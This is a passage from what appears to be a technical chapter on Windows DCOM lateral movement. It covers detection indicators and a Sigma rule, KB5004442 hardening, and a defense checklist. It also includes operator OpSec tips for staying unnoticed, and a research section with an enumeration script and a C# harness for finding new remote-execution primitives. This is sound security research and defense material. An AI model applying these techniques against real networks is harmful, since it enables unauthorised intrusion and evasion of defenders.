  • SharpLateral (reddcom), CsDCOM (rasta-mouse), and MoveKit round out C# delivery options; all are variations on the same three-line .NET primitive.
  • LethalHTA — standalone tool for the htafile+moniker route (section 5.8) ([19]).

7. Detection and OpSec

DCOM detection works on four axes: process lineage, network, authentication, and the registry/disk residue of the planted-binary variants. No single axis is sufficient — the techniques were designed to look like administration.

Process lineage (Sysmon Event ID 1)

Indicator Meaning
svchost.exe -k DcomLaunchmmc.exe -Embedding MMC20 activation (5.1)
svchost.exeEXCEL.EXE /automation -Embedding Excel variants (5.4) — correlate; the flag alone is noisy ([25])
DllHost.exe /Processid:{AppID} DLL-hosted DCOM server start
Second generation: mmc.execmd.exe, explorer.execmd.exe, EXCEL.EXE → child The payload itself; explorer.exe parenting points at ShellWindows/ShellBrowserWindow
OUTLOOK.EXE -Embedding spawned non-interactively Outlook CreateObject (5.5)

The canonical Sigma rule for MMC20 (f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, level high) is deliberately minimal ([24]) — condensed:

# Condensed from Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd (high) [24]
detection:
  selection:
    ParentImage|endswith: '\svchost.exe'
    Image|endswith: '\mmc.exe'
    CommandLine|contains: '-Embedding'
  condition: selection

Network (Sysmon 3, Zeek/Suricata, NDR)

  • Sysmon 3: inbound TCP 135 to svchost.exe plus a follow-on dynamic high-port connection; egress from mmc.exe/EXCEL.EXE afterwards is a beacon-grade anomaly.
  • DCE/RPC content inspection (Zeek dce_rpc, Suricata): ISystemActivator/IRemoteSCMActivator opnum 3 RemoteGetClassObject / opnum 4 RemoteCreateInstance against 135, then IDispatch::GetIDsOfNames carrying method strings — ShellExecute, ExecuteShellCommand — and Invoke arguments in cleartext at Packet-Integrity level. Integrity is not encryption; only Packet Privacy hides these. This is the single most reliable content indicator in the chapter.
  • Workstation-to-workstation 135 is high-fidelity almost everywhere; legitimate DCOM administration concentrates on management hosts.
  • Vendor analytics exist: Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20/ShellWindows, and Elastic ships a prebuilt "Incoming DCOM Lateral Movement with MMC" rule.

Authentication and Windows events

  • 4624 Type 3 on the target (every technique), 4768/4769 for the Kerberos path, 4648 on the source for explicit credentials, 4672 when the admin token lands.
  • DistributedCOM 10010 (System log): the mobsync/abandoned-binary tell (5.7); 10006/10016 record DCOM denials — a spike is reconnaissance against launch ACLs.
  • 10036/10037/10038: KB5004442 hardening rejections (section 8) — 10036 is server-side (logs user/SID/client IP of a below-integrity activation attempt), 10037/10038 client-side. An estate-wide watch on 10036 surfaces both legacy misconfigurations and relay tooling.
  • "Audit DCOM Activity" exists as an advanced audit policy but is rarely enabled.

Image loads, files, registry (Sysmon 7 / 11 / 13)

  • Sysmon 7: .xll or unknown-DLL loads into EXCEL.EXE (RegisterXLL); wshom.ocx (Outlook Wscript.Shell variant); iertutil.dll from a non-system path (InternetExplorer.Application hijack).
  • Sysmon 11/13: ADMIN$ writes, planted mobsync.exe, staged .ppam/.xlsm, and — as a defender — tampering with LaunchPermission values (an attacker who weakens an AppID ACL leaves a 13).

Tooling signatures and ETW

  • impacket dcomexec.py: output-file pattern \\__[0-9]{10}\.[0-9]{6,7}\s2>&1 in command lines and share writes ([26]).
  • SharpMove: proc_creation_win_hktl_sharpmove Sigma rule.
  • ETW: the Microsoft-Windows-RPC provider surfaces ORPC calls and is the substrate for endpoint sensors that do not parse DCE/RPC off the wire.

OpSec: to minimize your footprint as an operator: prefer ShellWindows/ShellBrowserWindow (no new COM host process) on hosts with an interactive session; keep payloads fileless (MMC20 command lines, ExecuteExcel4Macro, DotNetToJScript); authenticate with Kerberos by hostname to blend with admin tooling; and remember the artifacts you cannot remove — 4624 Type 3, the opnum 3/4 activation calls, and the method strings on the wire unless Packet Privacy is negotiated.


8. Hardening and the limits of KB5004442

What KB5004442 actually does

Microsoft's "DCOM Hardening" update (KB5004442, CVE-2021-26414) rolled out in three phases: opt-in June 2021 → enabled by default June 14, 2022 → mandatory March 14, 2023 ([22]). It raises the minimum activation authentication level to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, enforceable via HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1. Consequences:

  • Kills the unauthenticated and relay paths — notably the RemotePotato0-style OXID man-in-the-middle → NTLM relay chains ([21]).
  • Rejects old clients that cannot do packet integrity, logging 10036 (server-side) / 10037/10038 (client-side).
  • Does NOT stop authenticated admin DCOM lateral movement. Every technique in this chapter rides valid credentials at or above packet integrity; hardening changes nothing for them. Hardening is an anti-relay control, not an anti-DCOM control ([22]).

Warning: In OT environments this matters twice: OPC Classic (OPC DA) is entirely DCOM — the OPCEnum service, the same 135+dynamic-port footprint — and KB5004442 broke legacy OPC deployments that could not meet packet integrity. Expect environment-specific freezes of the hardening level and legacy DCOM exposure to coexist on industrial networks.

Attack-surface mapping

BloodHound models this exact abuse path as the ExecuteDCOM edge ([27]): during engagements, query it to find principals whose admin rights translate into DCOM-executable paths; during defense, use the same edge to prioritize which admin relationships to break first.

Defense-in-depth checklist

  1. Segment: block workstation-to-workstation TCP 135 + the dynamic range; restrict DCOM to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)" and "Microsoft Management Console" firewall rules.
  2. DCOM ACLs: in dcomcnfg → COM Security, Edit Default/Limits — remove Remote Launch/Activation from Administrators. Per object: take ownership of HKCR\AppID\{guid} (from TrustedInstaller), set an explicit LaunchPermission denying remote activation, restore ownership, remove your own FullControl. Monitor Sysmon 13 for tampering with these values.
  3. Disable DCOM entirely: HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N" — effective but breaks remote WMI; test at scale before enforcing.
  4. Identity controls: LAPS (unique local admin passwords), tiered administration with PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still works), disable NTLM where possible. Monitor KB5004442 enforcement state estate-wide.
  5. Application control: block Office child processes, deploy ASR rules, keep Office off servers, block mshta/ScriptControl.

Research Lab: Hunting New DCOM Lateral-Movement Primitives

Hunting hypothesis

The published set (MMC20, Shell*, Office, mobsync) is what survived triage of the full COM class list — it is not the whole list. Three classes of new primitives plausibly remain:

  1. Undiscovered dangerous methods on remote-activatable classes that inherit default launch ACLs — the exact property combination that made MMC20 abusable (no explicit LaunchPermission + a method taking a command/path string).
  2. Abandoned registrations: LocalServer32/InProcServer32 paths whose binaries vanished (OS upgrades, third-party uninstalls) — the mobsync pattern generalizes, and bohops already showed a third-party instance (IntelCpHDCPSvc.exe) ([8]).
  3. RunAs-Interactive-User classes beyond the two known shell objects, converting remote activation into execution inside a logged-on session — the stealthiest hosting model published so far.

Enumeration

Build the target list first; test later.

# 1. Inventory DCOM-visible applications (AppID, Name)
Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name

# 2. Flag classes whose LocalServer32 binary is MISSING on the target
#    (abandoned-DCOM candidates, mobsync pattern) — sketch, run per-build (illustrative)
Get-ChildItem 'HKLM:\Software\Classes\CLSID' -ErrorAction SilentlyContinue | ForEach-Object {
    $ls = (Get-ItemProperty -Path "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue).'(default)'
    if ($ls) {
        $path = $ls -replace '"','' -replace '\s+-.*$',''
        $path = [Environment]::ExpandEnvironmentVariables($path)
        if (-not (Test-Path $path)) { "$($_.PSChildName) -> $path (MISSING)" }
    }
}

In OleViewDotNet ([23]), run as administrator and work the registry view:

  • Filter for classes with no explicit launch ACL: entry LaunchPermission == None — these inherit the machine default, the property shared by MMC20, ShellWindows, and ShellBrowserWindow.
  • For each surviving class, read the AppID's RunAs setting (Interactive User is premium) and the class's LocalServer32 path.
  • Enumerate each class's exposed interfaces/methods from its type library; you are hunting IDispatch-callable methods (late binding = callable from PowerShell without compiled proxies).

Triage heuristics

A candidate is promising if it checks most of these boxes:

  • No explicit LaunchPermission on its AppID (inherits Administrators-friendly default).
  • RunAs = Interactive User, or the default (launching user) — both were exploited historically.
  • Exposes IDispatch (scriptable, late-bound).
  • Has methods whose names or signatures imply execution or file loading: Execute*, Shell*, Run, Open, Add, Navigate, Launch, or a BSTR parameter that smells like a path/command.
  • Hosted by a signed Microsoft binary already present on gold images (no drop needed).
  • LocalServer32 points at a non-existent or user-writable path (plant-and-activate).
  • Third-party AppID left behind by an uninstalled driver/utility.

Analysis workflow

Static checklist: registry (HKCR\CLSID\{clsid} → server path; HKCR\AppID\{appid} → RunAs, ACL) → type library method dump → rank methods by argument types (BSTR command/path args first, then integer-controlled behavior). Verify the host binary exists, is signed, and note its spawn flags (-Embedding, /automation).

Dynamic harness — loop candidates against a lab VM running Sysmon + Wireshark, log every HRESULT, and correlate with process creation (illustrative sketch):

// (illustrative) DCOM method-probing harness
foreach (var clsid in File.ReadLines("candidates.txt")) {
    try {
        Type t = Type.GetTypeFromCLSID(new Guid(clsid), TARGET);   // CoCreateInstanceEx remote
        object o = Activator.CreateInstance(t);                    // watch target for host spawn
        foreach (var m in candidateMethods)                        // "ShellExecute", "Run", "Open", ...
            try {
                t.InvokeMember(m, BindingFlags.InvokeMethod, null, o, benignArgs); // e.g. calc.exe
                Log($"HIT {clsid} {m}");
            } catch (Exception e) { Log($"{clsid} {m}: {e.Message}"); }
    } catch (Exception e) { Log($"{clsid}: activation failed {e.Message}"); }
}

On the target, correlate Sysmon EID 1 (new host under DcomLaunch; child processes) with your timestamps, and capture which activation opnum (3 vs 4) your probe generated on the wire.

Fuzzing/mutation ideas (DCOM method arguments)

Typed mutation beats blind bit-flipping here; the interesting space is the arguments, since the transport is mature:

  • BSTR path/command args: UNC vs local paths, self-referential \\127.0.0.1\ADMIN$, extension confusion (RegisterXLL loads by DLL semantics regardless of extension — test the same against every file-loading method you find), trailing-space and quote smuggling.
  • Boundary lengths: DDE showed the pattern — App capped at 8 chars with auto-appended .exe, Topic capped at 1024. Mutate around such caps in any string arg you find; off-by-one parsing inside a signed host is a memory-safety lead, not just an exec primitive.
  • Integer/window-state args: vShow/WindowState boundaries (0, 1, 7, negatives, huge values) — UI-state confusion and validation bugs.
  • Null/omitted optionals: several published primitives tolerate $null for directory/operation args; probe which methods mis-handle missing VARIANTs.
  • URL schemes for Navigate-style methods: file:, UNC, HTTP/S, .hta — each routes through different shell handlers with different UI/execution behavior; map which execute without prompts.
  • Authentication-level mutation: force below-integrity activation against KB5004442-mandatory builds and log 10036/37/38 behavior — identifies servers where hardening was rolled back (a target-selection signal).
  • VARIANT type confusion in IDispatch::Invoke: wrong-typed arguments, DISPID off-by-one — hunting parser crashes inside EXCEL.EXE/mmc.exe-grade hosts that upgrade a lead from "exec" to "memory corruption".

From lead to primitive

  1. Local activation first — loopback 127.0.0.1 works, and ShellWindows-style loopback even lands in the interactive user's context; cheapest possible iteration loop.
  2. Remote activation with lab admin creds; confirm the 4624 Type 3 and DcomLaunch spawning the host.
  3. Argument control: prove a chosen string lands in a child-process command line (Sysmon 1) or a chosen file executes (Sysmon 11 + 1).
  4. Reliability matrix: OS builds × application presence × interactive-session requirement; record failure HRESULTs precisely — remember 0x80080005 still meant success for the mobsync pattern.
  5. Hardening check: repeat against a KB5004442-mandatory build; your primitive must survive packet-integrity enforcement (it will, if it uses real creds) and you should document which rejection events a non-compliant client would raise.
  6. Publication bar: a new primitive = new CLSID + reproducible execution + a documented telemetry map (lineage, events, network strings). Check whether BloodHound's ExecuteDCOM modeling and existing Sigma coverage already catch your lineage — if they do not, say so; that gap is the contribution.

Further reading

  • OleViewDotNet — James Forshaw's COM enumeration workhorse ([23])
  • enigma0x3, Lateral Movement via DCOM: Round 2 — the ShellWindows/ShellBrowserWindow playbook ([2])
  • bohops, Abusing DCOM for Yet Another Lateral Movement Technique — abandoned binaries ([8])
  • MDSec, I Like to Move It: Windows Lateral Movement Part 2 — DCOM — XLM/shellcode in Excel ([9])
  • SpecterOps, Abuse the Power of DCOM Excel Application — ActivateMicrosoftApp EOL proxy execution ([10])
  • BloodHound docs, ExecuteDCOM edge — graph modeling of this attack class ([27])

References

[1] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ [2] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ [3] Lateral Movement Using Excel Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ [4] Lateral Movement Using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ [5] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason (2017) — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom [6] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques [7] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ [8] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ [9] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ [10] Lateral Movement: Abuse the Power of DCOM Excel Application — SpecterOps (2023) — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 [11] MITRE ATT&CK T1021.003 — Distributed Component Object Model — MITRE — https://attack.mitre.org/techniques/T1021/003/ [12] MITRE ATT&CK T1559.001 — Component Object Model — MITRE — https://attack.mitre.org/techniques/T1559/001/ [13] impacket dcomexec.py — Fortra (agsolino / byt3bl33d3r) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py [14] Execute Remote Command — NetExec Wiki — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command [15] Invoke-DCOM.ps1 — rvrsh3ll — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 [16] SharpMove — 0xthirteen — https://github.com/0xthirteen/SharpMove [17] SharpCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpCOM [18] SharpExcel4-DCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpExcel4-DCOM [19] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html [20] DCOM Lateral Movement with PowerPoint — attactics.org (2018) — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ [21] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in the Windows RPC Protocol — SentinelOne — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ [22] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft — https://support.microsoft.com (KB5004442 / CVE-2021-26414) [23] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet [24] Sigma rule: MMC20 Lateral Movement — SigmaHQ — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ [25] FalconFriday: DCOM & SCM Lateral Movement (0xFF05) — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ [26] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ [27] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom